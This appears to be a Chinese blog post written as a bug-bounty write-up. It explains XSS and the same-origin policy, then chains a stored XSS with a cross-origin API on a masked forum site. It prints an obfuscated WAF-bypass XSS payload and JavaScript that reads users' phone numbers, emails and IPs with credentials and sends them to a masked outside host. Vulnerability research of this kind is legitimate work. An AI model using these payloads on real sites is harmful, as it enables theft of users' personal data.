发现某论坛一个漏洞!

文章介绍了如何通过结合跨站脚本攻击(XSS)和浏览器的同源策略,将通常被评为低危的反射型XSS漏洞升级为高危。作者详细解释了XSS攻击的原理,包括反射型和存储型两种类型,并阐述了同源策略在浏览器安全中的作用。通过实例展示了如何在发现存储型XSS和可跨域接口后,利用这两个漏洞组合来获取用户信息,从而提高漏洞的危害程度。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

SRC(安全应急响应中心,是企业用于对外接收来自用户发现并报告的产品安全漏洞的站点),白帽子可通过挖掘企业的安全漏洞,换取一定的奖励,如:现金、京东卡、周边礼物、节日礼盒等,目前国内已有近百家企业SRC平台,例如百度、阿里、腾讯、美团、滴滴等。

本次带来的是,OWASP TOP10 中最常见的安全漏洞:跨站脚本攻击(XSS),大多数SRC平台会把反射型XSS漏洞评为低危,所以这时候我们就需要思考,如何将低危漏洞升级为高危? 这里我们将利用XSS+浏览器同源策略,加大漏洞危害,提高漏洞评级。

先给大家简单介绍一下什么是跨站脚本攻击(XSS),这种攻击的原理是攻击者向有XSS漏洞的网站中输入恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。

图片

XSS攻击的核心是将可执行的前端脚本代码(一般为JavaScript)植入到网页中,听起来比较拗口,用大白话说就是攻击者想让你的浏览器执行他写的JS代码。那如何办到呢?一般XSS分为两种:

1、反射型:

图片

1、攻击者将JS代码作为请求参数放置URL中,诱导用户点击。示例:

http://localhost:8080/test?name=<script>alert("you are under attack!")</script>

2、用户点击后,该JS作为请求参数传给Web服务器后端

3、后端服务器没有检查过滤,简单处理后放入网页正文中返回给浏览器

4、浏览器解析返回的网页,中招!

2、存储型

图片

上述方式攻击脚本直接经服务器转手后返回浏览器触发执行,存储型与之的区别在于能够将攻击脚本入库存储,在后面进行查询时,再将攻击脚本渲染进网页,返回给浏览器触发执行。常见的套路举例如下:

1、攻击者网页回帖,帖子中包含JS脚本

2、回帖提交服务器后,存储至数据库

3、其他网友查看帖子,后台查询该帖子的回帖内容,构建完整网页,返回浏览器

4、该网友浏览器渲染返回的网页,中招!

说完了XSS攻击的原理,再给大家介绍一下什么是同源策略。

同源策略(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能,它限制了网站前端能够访问的网络资源,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说Web是构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。

漏洞挖掘过程

漏洞目标:某SRC-论坛站点

漏洞发现方式

1、子域名找到一个链接,发现存在存储型xss。

2、在另一个子域名中,发现某个接口可以跨域,获取用户手机号、邮箱、访问ip等信息。

两个漏洞结合起来,在论坛中投放链接,可偷偷获取大量用户信息

漏洞详情

第一步:漏洞验证

第一个,存储型xss

https://act.zzzzzz.cn/index.php?mod=book&action=mobile&id=9

评论处存在存储型xss

图片

https://act.zzzzzzz.cn/index.php?mod=comment&action=add&sid=9&type=readat10&content=%E5%BE%88%E5%A5%BD<img+src=x+id=zzzzzzzzzjdW1lbnQuY3JlYXRlRWxlbWVudCgiczzzzzzzzzzzzzz0dHBzOi8veDAubnovanhrayzzzzW1lbnQuYm9kezzzzzzzzzzzzzzzzzzzChhKTs=+οnerrοr=eval(atob(this.id))

这里为了绕过WAF,采用了<img+src=x+id=YWxlcnQoMSkg+οnerrοr=eval(atob(this.id))>进行绕过

图片

第二个接口,跨域获取用户数据

https://bbs-act.zzzzzzz.cn/index.php?mod=index&action=win_list&limit=1&id=2

图片

两个漏洞结合,增加危害

1、在xss页面,写上代码,直接调用跨域接口

图片

第二步,在远端的js代码,调用接口,并把数据发送到远端

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
  if (this.readyState == 4 && this.status == 200) {
    //document.getElementById("demo").innerHTML = alert(this.responseText);
 var aa = JSON.parse(this.responseText);
 console.log(aa['data']['user']['phone']+','+aa['data']['user']['email']);
 var s=document.createElement('img');
 document.body.appendChild(s);
 s.src='//xxx.xxxxxx.cn?phone='+aa['data']['user']['phone']+'&email='+aa['data']['user']['email']+'&clientip='+aa['data']['user']['clientip'];
  }
};
xhttp.open("GET", "https://bbs-act.zzzzz.cn/index.php?mod=index&action=win_list&limit=20&id=2", true);
xhttp.withCredentials = true;
xhttp.send()

第三步 查看效果

当访问我们论坛上的地址时,就可以获取到对方的手机号、邮箱、IP地址等信息

图片

漏洞等级成功实现从低危升级为高危!

接下来就去提交漏洞,赚取奖励吧~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值